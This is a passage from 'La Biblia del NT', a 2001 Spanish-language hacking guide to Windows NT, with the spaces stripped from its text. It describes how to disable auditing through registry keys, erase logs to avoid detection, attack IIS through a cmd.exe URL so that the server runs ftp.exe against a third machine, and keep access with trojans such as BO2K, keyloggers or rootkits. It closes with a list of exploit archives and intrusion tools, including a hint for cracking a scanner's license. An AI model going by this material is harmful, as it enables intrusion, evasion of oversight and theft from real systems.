yasequenotendremosprivilegiosadministrativos,quenopodremosmovernos
porlosdirectoriosquequeramos,etc.PeropodremoscopiarelficheroSAM
anuestrodisquete...demaneraqueaunqueeladministradorcambielas
clavesnosotrospodremosseguirentrando.
Laclavedondesealmacenaelnombredelarchivoaejecutares:
HKEY_USERS\.DEFAULT\ControlPanel\Desktop\SCRNSAVE.EXE
Laclavequedecideeltiempoquedebepasarparaqueseejecutedicha
aplicacionseencuentraen:
HKEY_USERS\.DEFAULT\ControlPanel\Desktop\ScreenSaveTimeOut
Sinembargomientrasquedeimaginacionhabranmuchasmasformasderetener
nuestraestancialocalmente,comoconelEliteWrapfusionarexplorer.execon
algunejecutablequecumplaunasfuncionesdeterminadas...etc.
Recordadqueelcodigoqueseejecutanoseejecutaraconprivilegiosde
sistema,porlosi,porejemplo,adjuntaisun.batqueoscreeunacuentaen
elsistema,notendreisprivilegiosparaello.

[18Borrandolashuellas]

Esbastanteprobablequedurantenuestrasandanzasnohayamosdejadoalgun
log,porloquesehacevitalelborrarcualquierrastroquepuedaayudara
quenosdescubran,yenelmejordeloscasos,solonoscierrenelacceso.
Dependedelasaccionesquehayamoshechoenelsistemasehabranmaso
menoslogsenlosquefiguraremos,loscualespuedensermasomenos
relevantes...veamos.
Enelregistrosehallagranpartedelaconfiguraciondelaauditoriadel
sistema.Eliminandounascuentasclaveshabremos"capado"laauditoria.
Acontinuacionmuestrolarutadelasclavesquejueganalgunpapelenla
auditoria.
Estaregistralossucesosrelacionadosconobjetosycarpetas:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\AuditBaseObjects
Estaotralospermisos:
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

75/83

27/11/2014

LaBibliadelNT

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\
FullPrivilegeAuditing
Estadecidesielsistemaseapagaraalllegaraunlimitedelogs(*):
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\CrashOnAuditFail
*EsasiporqueWindowsNT(cumpliendolasnormasdelC2)puedeponerse
inactivosisellegaauntama~odeterminadoenelarchivodelogs.Esto
podriasalvaralsistemadeataquesDoS,einclusoparaavisardela
existenciadeunintruso(cuandoseatacaunsistemaNTgeneralmentese
generangrancantidaddelogs).
Sinembargotambienpodemosusarparaelloelregistrodesucesos,y
borrardesdeallinuestroslogs.
Unavezborradosloslogs,siqueremosquelaauditoriasigaencursopero
noquereisdejarhuellas,podeisutilizarlaherramientaauditpol(ver
seccionherramientas)parasuspenderlaauditoria,hacervuestralabor,y
reanudarlaconlamismaconfiguraciondeantes,sinquetusaccionessevean
figuradasenelvisordesucesos.
Ademasdeesto,podemosborrarlahistoriadealgunasaplicaciones
integradasdeNTenInicio/Configuracion/BarradetareasymenuInicio/
Opcionesavanzadas/Borrar.
Conestonodeberiaquedarningunahuella...silohemoshechobien.

[19Resumen]

Comosehavisto,laseguridadfisicadeNTesunpuntoquehayque
vigilarmucho,yaqueelsaltarseunaseguridadfisicamediocrepasaporser
purotramite.

ParteIV,HackingremotodeNT

[20Enumeraciondefallos]

Loprimeroquesehacecuandosequierehackearunsistema,normalmente
eslagananciadeinformacion.Sinembargoestonorequieredemasiadas
explicacionesasiqueperdonadmequemelosalte.Nosiremosdirectoala
enumeraciondefallosenelsistema,paratrazarelcaminodelaintrusion.
Lamayorpartedelainformaciondelsistemalavamosasacargraciasa
losescaneadoresdevulnerabilidadesquehayenelmercado.Sialguiendesea
sabercomoselogradichainformacion,aprendersobreelrecursoIPC$,etc.,
quesepaseporelapendice.
Paraauditaralhostpodemosvalernosdevariasherramientasdeescaneo
devulnerabilidades,ohacerlomanual.Comoquehacerlomanualesharto
pesado,utilizaremosRetinaparaestosfines.Dichoescaneadoresbastante
completoyeficaz.
Siosloestaispreguntando,novoyaexplicarcomousarlo...nocreoque
hagafaltaexplicarunaherramientatansencillaytanvisual.
Podriamostambienprobarconalgunescaneadordecgis(aunqueretinase
seencargatambiendeestafuncion),etc.Herramientashaydesobras.

[21Incursionenelsistema]

Obviamente,dependedelavulnerabilidadqueexplotemoshabraunaforma
deentraruotra.Entonces,paraquepongoesto?,puesparadecirquesea
cualsealaformadelataque,ojoconlashuellas,quetantolosataquespor
NetBIOS,comolasentradasporFTPylaspeticionesHTTPpuedengenerarlogs
convuestraIP...asiqueidconojo,sivaisahacerentradasporFTP,usar
algunashellremotaparaello,oporlomenosnolohagaisdesdevuestra
casa.Siesnecesariohacedloenuncyberaunquetampocoesdemasiadabuena
idea.TambiencabelaposibilidaddequeuseiselataquePIPEHTTP,queya
explicoCheesyensudia,peroqueporlasmoscaslovolvereamostrar.
Estesebasaenhacerquedesdeunamaquinaquenoseatuya(maquinaB)
seataqueaunamaquinacualquiera(maquinaC),demaneraqueenlamaquina
Cnosalganlogsdetumaquina...
Loesencialesquetengamoselcontroldemaquinab,paracopiarcmd.exe
aundirectoriovirtual.Ademasdeesonecesitaremossubirunficheroenel
queseincluyanloscomandosquevayamosausarporordenenlamaquinaC
separadosporunretornodecarro.
Imaginemosquehemossubidocmd.exealacarpetaScriptsdelaramade
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

76/83

27/11/2014

LaBibliadelNT

InetPub.Estoquedariaasi:
http://www.maquina.com/cgibin/scripts/cmd.exe?/c:%20c:\winnt\system32\
ftp.exe%20s:comandos.txt%20www.maquinaC.es
Demaneraqueenmaquina.comseejecutariacmd.exepasandolecomo
argumentolaejecuciondeftp.exealamaquinaCconloscomandosaejecutar
definidosenunficherollamadocomandos.txt,situadoenelmismodirectorio
queftp.exe.
Elficherocomandos.txtpodriaconteneralgoasicomo:
Anonymous
me_suelen_decir_que_miento@demasiado.com
Putprograma.exe
renameprograma.exeiishelp.exe
Bye
Nosesioshabeisfijadoenqueacmd.exelepasamoscomoargumentoel
parametro/c,loqueindicaquenadamascumplirconsutareacerrarael
procesocreadoporeste.Muyutil.

[22Asegurandonuestraestancia]

Unavezsehahackeadoelsistema,sequerravolveraentrar,yseriamuy
pesadotenerquevolveraexplotarelbugporelqueentramoscadavezque
sequieravolveracontrolarlo.
Unasolucionfacilonaserialadeintroduciruntroyano...peroesocanta
quedagusto,aminimamenteinteligentequeseaeladmin,siveunpuerto
cuyafunciondesconoce...podriamosquearse.Siseoptaporestaopcion,
recomiendoporusarelBackOriffice2000(BO2K),ysilepodemoseditar
ciertosaspectoscomoelpuerto,etc.mejorparaquenosaltetantoala
vista(recordadqueelcodigofuentedeBO2Klopodreisencontraren
bo2k.com).Tambienpodriamosoptarporunkeylogger,ounRootkit,cadauno
sabraqueusar.

[23Borradodehuellas]

Estamosenlasmismasquealprincipiodependedelbugquehayamos
explotadohabramasomenoslogs.Perobasicamentetodosereduceaborrar
loslogsde%systemroot%\system32\LogFiles.Sinembargotambienconvendria
quelesdieraisunrepasoatodosloslogsqueveaisguardanalgode
relacionconvosotros...paraesonadamejorque,desdeconsolaydesdeel
directorioraiz,hacerundir/s*.log>resultado.txtymirarseelfichero
resultadoparaverqueficherosdeloghay...yalos.evt(ficherosde
registrodesucesos)tambienselesdeberiadedarunrepasoencasodeque
seestuvieranauditandovuestrosmovimientos.

[24Conclusiones]

Seriatotalmenteimposibledefinirtodoslosmetodosdehackeoremotoa
unNT,porloquesehadichoenestaseccionnoesmucho,perosirvepara
comprenderquenosehadedejarningunrastro,ycomohacerlo.Quesirva
comoguiadesupervivenciadelhackremoto).Sinembargo,sifueraisa
intentarhackearunservidor,deberiaisprimeroplaneartodasvuestros
movimientosylaformadeevitarserrastreado.Antetodo,sedlistos,usad
unalinealimpiasivaisahacer"cosasmalas".

ParteV,Apendiceyconclusionfinal

[25Apendice]

Estedocumentosehabasadoencantidaddeinformacionextraidadewebs,
documentos,libros,etc.Acontinuacionmuestrotodaslasreferenciasqueme
hanservidodeayudaparacompletarestedocumento.

[25.1Webs]

#Encastellano:
General
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

77/83

27/11/2014

LaBibliadelNT

[1]ProyectoEnete:http://enete.us.es
[2]Hispasec:http://www.hispasec.com
[3]Inseguridad.org:http://www.inseguridad.org
[4]NetworkingCenter:http://www.networkingcenter.org

Ezines
[5]SET:http://www.setezine.org
[6]7a69:http://www.7a69ezine.8m.com
[7]Netsearch:http://www.netsearchezine.com
[8]JJF:http://www.jjf.org

#Eningles:
General
[8]Windows2000Magazine:http://www.winntmag.com
[9]SysInternals:http://www.sysinternals.com
[10]NTSecurity:http://www.ntsecurity.net
[11]NTBugtraq:http://www.ntbugtraq.com
[12]Packetstorm:http://packetstorm.securify.com
[13]L0pht:http://www.l0pth.com
[14]ISS:http://www.iss.net
[15]eEye:http://www.eeye.com
[16]WebTrends:http://www.webtrends.com
[17]AntiOnline:http://www.antionline.com
[18]cDc:http://www.cultdeadcow.com
[19]SecurityFocus:http://www.securityfocus.com
[20]Rhino9:http://www.technotronic.com/rhino9/
Exploits
[21]SecurityBugware:http://161.53.42.3/~crv/security/bugs/new.html
[22]NTExploits:http://www.dhp.com/~fyodor/sploits_microshit.html
[23]r00tshell:http://www.rootshell.com
[24]NTBugtraqKnownExploits:http://www.ntbugtraq.com/ntexploits.htm
[25]ISSSecurityLibrary:http://www.iss.net/vd/nt_vulnerabilities.html

Ezines
[26]Phrack:http://phrack.infonexus.com
[27]TheHavocTechnicalJournal:http://www.technotronic.com/ezines
[28]UndergroundPeriodical:http://packetstorm.securify.com
[29]Camarilla:http://packetstorm.securify.com
[30]KeenVeracity:packetstorm.securify.com
[31]DigitalDefiance:http://www.hackernews.com

[25.2Listasdecorreo]

Nota:todoslosmensajesquesedebenmandarparasubscribirsealas
siguienteslistasdecorreodebenserentextosinformatoy
sinasunto.

Enespa~ol:
[32]Listadeargo.
Parasubscribirse:Mailamajordomo@argo.esconelsiguientetextoen
elcuerpodelmensaje:"subscribehacking".
Eningles:
[33]Bugtraq.
Parasubscribirse:Mailalistserv@securityfocus.comconelsiguiente
textoenelcuerpodelmensaje:"subscribebugtraqnombreapellido".
[34]NTBugtraq.
Parasubscribirse:Mailalistserv@listserv.ntbugtraq.comconel
siguientetextoenelcuerpodelmensaje:"subscribentbugtraqnombre
apellido".
[35]NTSecurity.
Parasubscribirse:Mailamajordomo@iss.netconelsiguientetextoen
elcuerpodelmensaje:"subscribentsecuritytuemail".

[25.3Gruposdenoticias]

[36]Unaaldia.
Grupodenoticiasdehispasec(http://www.hispasec.com)quecadadia
mandaunanoticiareferentealasnovedadessobreseguridad
informaticaquehanacontecido.

[25.4Demasdocumentosenlared]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

78/83

27/11/2014

LaBibliadelNT

[37]+Titulo:"HackingNT"
+Autor:Chessy.
+Localizableen:http://www.setezine.org
+Comentarios:Undocumentoregio,totalmenteindispensable.
[38]+Titulo:"HackejarWindowsNTambaccesfisicalamaquina"
+Autor:AlexCastanSalinas.
+Localizableen:http://www.sindominio.net/cathack
+Comentarios:Unmuybuendocumentoqueexplicadetalladamentelos
metodosdehackeofisicoaNT.
[39]+Titulo:"SignificadodeNetBIOS"
+Autor:{CyBoRg}
+Localizableen:http://www.jjf.org
+Comentarios:UnbuentextosobreNetBIOSquenodeberiaispasarpor
alto.
[40]+Titulo:"MiamigoelIIS"
+Autor:ThEye
+Localizableen:http://fye_ezine.vicio.org
+Comentarios:EstupendodocumentoqueexplicalasopcionesdeIIS,
suspeculiariades,etc.Derecomendadalectura.
[42]+Titulo:"WindowsNTparaDummies"
+Autor:PlaXiuS
+Localizableen:http://www.cdlr.org
+Comentarios:Paraaquellosqueempiecenaadentrarseenelmundode
NTdesde0,encontraranaquiunavaliosareferencia.
[43]+Titulo:"ComocrearunservidorseguroconWindowsNT"
+Autor:PlaXiuS
+Localizableen:http://www.cdlr.org
+Comentarios:Aquiseexplicadetalladementecomoprotegerunpoquito
masnuestroservidorNT.Bastantecompletito.
[44]+Titulo:"ComohackearservidoresNTatravesdeInternet"
+Autor:PlaXiuS
+Localizableen:http://www.cdlr.org
+Comentarios:Untextobastantemajoquetrataalgunastecnicasde
intrusionaNTatravesdeinternet.
[45]+Titulo:"UnderstandingMicrosoftProxyServer2.0"
+Autor:NeonSurge
+Localizableen:http://rhino9.abyss.com
+Comentarios:UndocumentomuyilustrativosobreMicrosoftProxy
Server2.0.Muybueno.Eningles.
[46]+Titulo:"IISInternetInformationServer"
+Autor:Nw2o
+Localizableen:http://www.digitalrebel.net
+Comentarios:Estedocumentoexplicaalgunasdelasvulnerabilidades
deIIS.Bastantelogrado.
[47]+Titulo:"WebeandoconNETBIOS"
+Autor:OFaDOWN
+Localizableen:http://fye_ezine.vicio.org
+Comentarios:SeexplicaunpocoelfuncionamientodeNetBIOS,como
atacarloviaNAT,yalgunoscomandosnet.
[48]+Titulo:"PoliticasdelWindowsNT"
+Autor:EndlessRoad
+Localizableen:http://warpedreality.com/inet
+Comentarios:Unbreveperomuyinteresantetextosobrelaspoliticas
deNT.Deobligadalectura.
[49]+Titulo:"Miamigoelregistro"
+Autor:Arcangnet
+Localizableen:http://www.cdlr.org
+Comentarios:Untextomuylogradosobrelaestructuradelregistroy
susadentros.
[50]+Titulo:"LasposibilidadesdeWindowsNTprimeraparte"
+Autor:AzumLord
+Localizableen:http://razamexicana.org/raregazz/
+Comentarios:Undocumentoqueserviradeguiaparaaquellosqueno
sepanalgunasdelasaccionesqueWindowsNTpermite
hacer.
[51]+Titulo:"LasposibilidadesdeWindowsNTsegundaparte"
+Autor:AzumLord
+Localizableen:http://razamexicana.org/raregazz/
+Comentarios:Estavezsemuestranlasposibilidadesdehackeoaun
NT.
[52]+Titulo:"SeguridadenWindowsNT"
+Autor:Mr.Nexus
+Localizableen:http://www.cdlr.org
+Comentarios:Uncompletotextoqueexplicalamayorpartedemetodos
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

79/83

27/11/2014

LaBibliadelNT

dehackeoaunNT,tantofisicacomoremota.Demuy
recomendadalectura.
[53]+Titulo:"MicrosoftProxyServer2.0"
+Autor:Taker
+Localizableen:http://www.cdlr.org
+Comentarios:UncompletotextosobreelMsProxyServer2.0.Para
aquellosquenopuedenleereltextodeNeonSurgepor
suidioma,oquequierenampliarsusconocimientos.
[54]+Titulo:"NTFS"
+Autor:Falken
+Localizableen:http://www.setezine.org
+Comentarios:UnbuentextoqueexplicalaestructuradelNTFSde
formaclara.Muyrecomendable.
[55]+Titulo:"A*REAL*NTRootkit,patchingtheNTKernel"
+Autor:GregHoglund
+Localizableen:http://phrack.infonexus.com/search.phtml?
view&article=p555
+Comentarios:Unestupendodocumentosobrecomoprogramartuspropios
Rootkits.TratadecercaelkerneldeNT,elmodo
protegidodeli386,etc.Notienedesperdicio.En
ingles.
[56]+Titulo:"aQuicknTInterrogationProbe(QTIP)"
+Autor:twitch
+Localizableen:http://phrack.infonexus.com/search.phtml?
view&article=p5210
+Comentarios:GrandocumentosobrelassesionesnullasdeWindowsNT
ylatremendainformacionqueapartirdeestesepuede
subsacar...incluyecodigofuentedeunprogramaque
poneenpracticalodichoenelarticuloparasacar
listasdeusuariosdeunsistema,recursoscompartidos,
etc.Eningles.
[57]+Titulo:"NTSecurityFrequentlyAskedQuestions"
+Autor:DanShearer,DavidLeBlanc,LarryBuickel,MikkoHermanni
Hypponen,PatrikCarlsson,PaulAshton,CarlByington,Ondrej
Holas.
+Localizableen:http://www.it.kth.se/rom/ntsec.html
+Comentarios:Undocumentototalmenteimprescindible...Eningles.
[58]+Titulo:"WindowsNTDeconstructionTactics"
+Autor:vacuum
+Localizableen:http://packetstorm.securify.com/NT/docs/
NTexploits.txt
+Comentarios:Unmuybuentextoquerecorredistintosmetodosdehack
aNT.Eningles.
[59]+Titulo:"WindowsNTVulnerabilitiesVersion2"
+Autor:VacuumyChame|eon
+Localizableen:http://www.technotronic.com
+Comentarios:Versionampliadadelanteriordocumento.Muycompleto.
Eningles.
[60]+Titulo:"CrackingNTPasswords"
+Autor:Nihil
+Localizableen:http://phrack.infonexus.com/search.phtml?
view&article=p508
+Comentarios:Undocumentomuylogradoacercadecomocrackearlos
passwordsdeNT.Enelseexplicantecnicasde
programacionparaello,entreotrascosas.Incluye
codigofuentedesuprogramaparacrackearlasSAM.En
ingles.
[61]+Titulo:"Win32BufferOverflows(Location,Exploitationand
Prevention)"
+Autor:darkspyrit
+Localizableen:http://phrack.infonexus.com/search.phtml?
view&article=p5515
+Comentarios:Pedazodedocumento,enelqueseexplicala
programaciondeBOFSparaNT.Esunadelasguiasde
BOFSenNTmascompleta.Eningles.
[62]+Titulo:"AprovechandoBufferOverflowsenWindowsNT4"
+Autor:Mnemonix
+Localizableen:http://www.infowar.co.uk/mnemonix
+Comentarios:OtragenialidaddetextoacercadelosBOFSparaNT.
SeincluyenlosejemplosdelRasmanydelWinhlp32.En
ingles.
[63]+Titulo:"NetBIOS:JugandoconWindowsNT/2000"
+Autor:ZeroXT
+Localizableen:http://www.networkingcenter.org/2500hz/zip/
netbios.zip
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

80/83

27/11/2014

LaBibliadelNT

+Comentarios:Unbuentextodondesemuestrainformaciontecnica
sobreNetBIOS,asicomouncasorealdehackconlas
herramientasNAT,Sid2user,User2sid...muylogrado.
[64]+Titulo:"DetailsAboutNULLSessions"
+Autor:JDGlaser
+Localizableen:http://packetstorm.securify.com/NT/docs/
null.sessions.html
+Comentarios:Seense~acomoaprovecharnosdelassesionesnulasde
NTparasacarinformacioninteresante.Seincluyeel
codigofuentedeunprogramaquesacaelverdadero
nombredelacuentadeadministrador.Eningles.
[65]+Titulo:"SecuringIISbybreaking"
+Autor:MountAraratBlossom
+Localizableen:http://www.securityfocus.com/templates/archive.pike?
list=2&mid=140239
+Comentarios:UnmuycompletotextosobreelhackeoaIIS.Tratala
granmayoriadebugsparaIIS.Excelente.Eningles.
[66]+Titulo:"HackingMSSQLServersforfun&profit"
+Autor:MountAraratBlossom
+Localizableen:http://www.securityfocus.com/templates/archive.pike?
list=101&mid=144598
+Comentarios:GrantextoqueexplicacomohackearservidoresSQLde
formaremota.Muybueno.Eningles.
[67]+Titulo:"WindowsNTSecurityIdentifiers"
+Autor:Mnemonix
+Localizableen:http://packetstorm.securify.com/NT/docs/sid.htm
+Comentarios:Buentextoqueexplicalosidentificadoresdeseguridad
deNT,asicomoejemplosdelusodeuser2sidy
sid2user.Eningles.
[68]+Titulo:"NtWebserverSecurityIssues"
+Autor:Laempresa"TelemarkSystems"
+Localizableen:http://www.telemark.net/~randallg/ntsecure.htm
+Comentarios:MuybuentextosobrecomoprotegertuservidorwebNT.
Altamenterecomendable.Eningles.
[69]+Titulo:"TheUnnofficialNTHackFAQ"
+Autor:SimpleNomad
+Localizableen:http://www.nmrc.org/faqs/nt/
+Comentarios:UncompletisimoFAQacercadelhackaNT.Realmentemuy
logrado.Eningles.
[70]+Titulo:"ActiveDirectory"
+Autor:kamborio
+Localizableen:http://www.networkingcenter.org/logs/2000/
l24_06_2000.zip
+Comentarios:Charlaenlaqueseexplicaqueesyparaquesirveel
ActiveDirectory,elementoestrelladeWindows2000.
[71]+Titulo:"ActiveDirectory2"
+Autor:satch
+Localizableen:http://www.networkingcenter.org/logs/2000/
AD2satch%5B25112000%5DLog.zip
+Comentarios:CharlaqueprofundizamasenActiveDirectory.
[72]+Titulo:"ServidoresTelnetbajoW2K"
+Autor:kamborio
+Localizableen:http://www.networkingcenter.org/logs/
2000/l20_05_2000.zip
+Comentarios:Unabuenacharlaqueense~alaadministraciondelos
servidorestelnetdeWindows2000.
[73]+Titulo:"MigraciondeWindowsNTaWindows2000"
+Autor:satch
+Localizableen:http://www.networkingcenter.org/logs/2000/
l08_04_2000.zip
+Comentarios:Aquisenosmuestranlasdiferenciasmassignificativas
quehayentreNT4yW2K.Muyinteresante.
[74]+Titulo:"Windows2000.Administracion"
+Autor:kamborio
+Localizableen:http://www.networkingcenter.org/logs/2000/
l29_04_2000.zip
+Comentarios:Unacharlamuyinteresantesobrelaadministracionde
W2K.Recomendada.
[75]+Titulo:"HackingBIOS"
+Autor:AlexCastanSalinas
+Localizableen:http://www.sindominio.net/cathack
+Comentarios:UnmuybuentextoacerdadecomohackearlaBIOS.
Realmentemuyinteresante.

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

81/83

27/11/2014

LaBibliadelNT

[25.5Bibliografia]

[76]+Titulo:"ApruebadeHackers"
+Autor/a:LarsKlander
+Editorial:Anayamultimedia
+ISBN:8441505829
+Comentarios:Unbuenlibroqueenglobavariosaspectossobre
seguridadinformatica,entreelloslaseguridadenNT.
Sededican36paginaslaseguridadenNT.Brevepero
intenso.Recomendado.
[77]+Titulo:"Hackers.Secretosysolucionesparalaseguridadderedes"
+Autor/a:StuartMcClure,JoelSambrayyGeorgeKurtz.
+Editorial:McGrawHill.
+ISBN:8448127862
+Comentarios:Unmuybuenlibroquetratalosdistintospasosquese
suelenllevaracaboantesdeunaintrusion.Incluye61
paginassobrehackaNT,17paginassobrehackaW2K,y
21paginassobrehackaWindows95/98.Unlibromuy
completo,recomendado.
[78]+Titulo:"Windows2000Server.Administracionycontrol"
+Autor/a:KennethL.Spencer,MarcusGoncalves.
+Editorial:PrenticeHall.
+ISBN:8448127862
+Comentarios:Unbienlibrosobrecomoadministrarunamaquinacon
W2KServer.Explicadetalladamentelasnovedadesque
incorporarespectoaNT4.0.Merecelapena.

[25.6Herramientas]

[79]BackOriffice:UnodelosmejorestroyanosparaNT.Ademasesfree
source.PuedesbajarlodesdelawebdecDc:
http://www.cultdeadcow.com.
[80]BlackICEPro:HerramientaIDS.Puedesbajarloenhttp://www.netice.com
[81]BootAdmin:SencillaaplicacionquepermiteapagarlasmaquinasNTen
lascualestengasprivilegiosdeadministradorodealguna
cuentaquepermitaapagarunamaquinaNTremotamente.Lo
podrasencontraren:http://www.bhs.com.
[82]Centrax:HerramientaIDS.Disponibleenhttp://www.cybersafe.com
[83]CyberCopServer:HerramientaIDS.Disponibleenhttp://www.nai.com
[84]DesktopSentry:HerramientaIDS.Disponibleen
http://www.ntobjectives.com
[85]DumpACL:Buenaherramientaqueenumeralosserviciosycontroladores
activosenelsistema,apartedepodercomprobarlospermisos
enelregistro,susrecursoscompartidos,etc.Disponibleen
http://38.15.19.115/ftp/dumpacl.zip
[86]eLiTeWrap:Herramientaparafusionardosomasarchivosenuno,
pudiendotroyanizaraplicacionesfacilyrapidamente.La
puedesdescargardesde
http://www.multimania.com/trojanbuster/elite.zip
[87]EssentialNetTools:Unaestupendaherramientaquepermiteenumerar
muchainformaciondelsistemaobjetivo,demanera
visual.Seencuentraen
ftp://ftp.tamos.com/esstls2.zip
[88]Grinder:Buenprogramaparaenumerarlaspaginasweb/scriptsdeuna
maquina.Disponibleenhttp://
[89]Intact:HerramientaIDS.Localizableen
http://www.pedestalsoftware.com
[90]IntrudeAlert:HerramientaIDS.Disponibleenhttp://www.axent.com
[91]KaneSecurityMonitor:HerramientaIDS.Lapodraslocalizaren
http://www.securitydynamics.com
[92]Legion:Enumeralosrecursoscompartidosdeunaovariasmaquinas,
yaqueescanearangosdeIPdeclaseC.Puedesdescargarlo
desdehttp://www.technotronic.com/rhino9
[93]L0phtCrack:Amijuicio,elmejorcrackeadordeSAM.Lomaloesque
esshareware...15diasdetrial...telopuedesbajarde
http://www.l0pht.com
[94]NAT:Muybuenaherramientaparaauditarlascontrase~asdelos
recursosNetbios,usandoataquesdediccionario.Puedesbajarla
desdeftp://ftp.technotronic.com/microsoft/nat10bin.zip
[95]Netbus:TroyanocapazdecorrerenNT...noeselmejorperomerece
elqueleecheisunvistazo.Seencuentraen
http://www.netbus.org
[96]Netcat:Quesepuededecirdenetcatquenosehayadichoya?...la
navajasuizadeltcp/ip...sepuedeusarperfectamentecomo
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

82/83

27/11/2014

LaBibliadelNT

troyano.Puedesbajarlodesdehttp://www.l0pht.com/netcat.
Paralosquequieransabercomousarlo,puedenencontrarun
documentodehvenenlawebdehven,masconcretamenteen
http://www.hven.com.ve/seguridad/netcat.txt
[97]Netviewx:Aplicacionparalistarservidoresunundominioogrupode
trabajoejecutandoserviciondeterminados.Puedesbajarlaen
http://www.ibt.ku.dk/jesper/NetViewX/default.htm.
[98]NTFSDOS:UtilidadquepermiteleerNTFS.Sinofueraporesta
herramientanoestariaisahoraleyendoesto...ante
catastrofesconNTayudabastante.Puedesencontrarloen
http://www.sysinternals.com.
[99]Pwdump2:AplicacionquevuelvaloshashesdelSAMdeNTdelcampode
contrase~a,esteonoSyskeyactivado(syskeysegunMicrosoft
impidequesedesencriptenlascontrase~as...humm...).Trae
importantesmejoresrespectoasuversionanterior,que
podreisencontrarenhttp://www.webspan.net/~tas/pwdump2/,
dondeenlaparteinferiortendreisloslinksalasdos
versionesdePwdump2.
[100]RealSecure:HerramientaIDS.Puedesencontrarlaenhttp://www.iss.net
[101]Retina:UnodelosmejoresescanersdevulnerabilidadesenNT.Se
tienen30diasdeprueba...anoserquelogreiscrackearlo,
claro.Unapista,paseaosporelregistroybuscadlacadena
"key".Puedesbajarlodesdehttp://www.eeye.com.
[102]Revelation:Sacalospasswordsentextoplanodelcampodecontrase~a
delaGUIdeNTylafamiliawindows,loscualescambian
cadacaracterporunasterisco.Estosolofuncionaraen
determinadasaplicaciones.Puedesencontrarloen
http://www.snadboy.com.
[103]SeNTry:HerramientaIDS.Puedesencontrarlaen
http://www.missioncritical.com
[104]SessionWall3:HerramientaIDS.Localizableenhttp://www.platinum.com
[105]Sid2User:EncuentrausuariosapartirdelSIDobtenidoconUser2Sid.
Puedesencontrarloen
http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt
[106]Tripwire:HerramientaIDS.Disponibleen
http://www.tripwiresecurity.com
[107]User2Sid:IdentificaelSIDdeundominio.Puedesencontrarloen
http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt
[108]VNC:Deelhemoshabladoanteriormente,asiquenohaymuchomasque
decir,tansolorepetirquelopuedesencontraren
http://www.uk.research.att.com/vnc.

[26Ultimaspalabrasyconclusionfinal]

Comosehavistoalolargodeestedocumento,NTposeeunagrancantidad
deagujerosdeseguridadquepuedencomprometerlaintegridaddetodoel
sistema.NTnoesunsistemaseguro...peroquesistemaesrealmenteseguro?
exceptuandoaplan9,todaviaenconstruccion,WindowsNTestanseguroomas
quelosdemassistemasoperativosdeservidorqueestanenelmercado.Puede
quealgunLiNUXloverveaestacomparacionconciertorecelo,perosolohace
faltaverlasecciondevulnerabilidadesdesecurityfocusparacomparar.Y
no,noestoyentrandoenlastipicasOSWars.Cadasistemaoperativovale
paraalgoescogeelquemasteguste,yCarpeDiem.
Yconestapeque~areflexionllegamosalfinaldeldocumento.Esperoque
noseoshayahechodemasiadopesadoparaleeryquehayaisaprendidoalgo
conel.

Unsaludo,
Tahum,2001.

*EOF*

file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

83/83

Potrebbero piacerti anche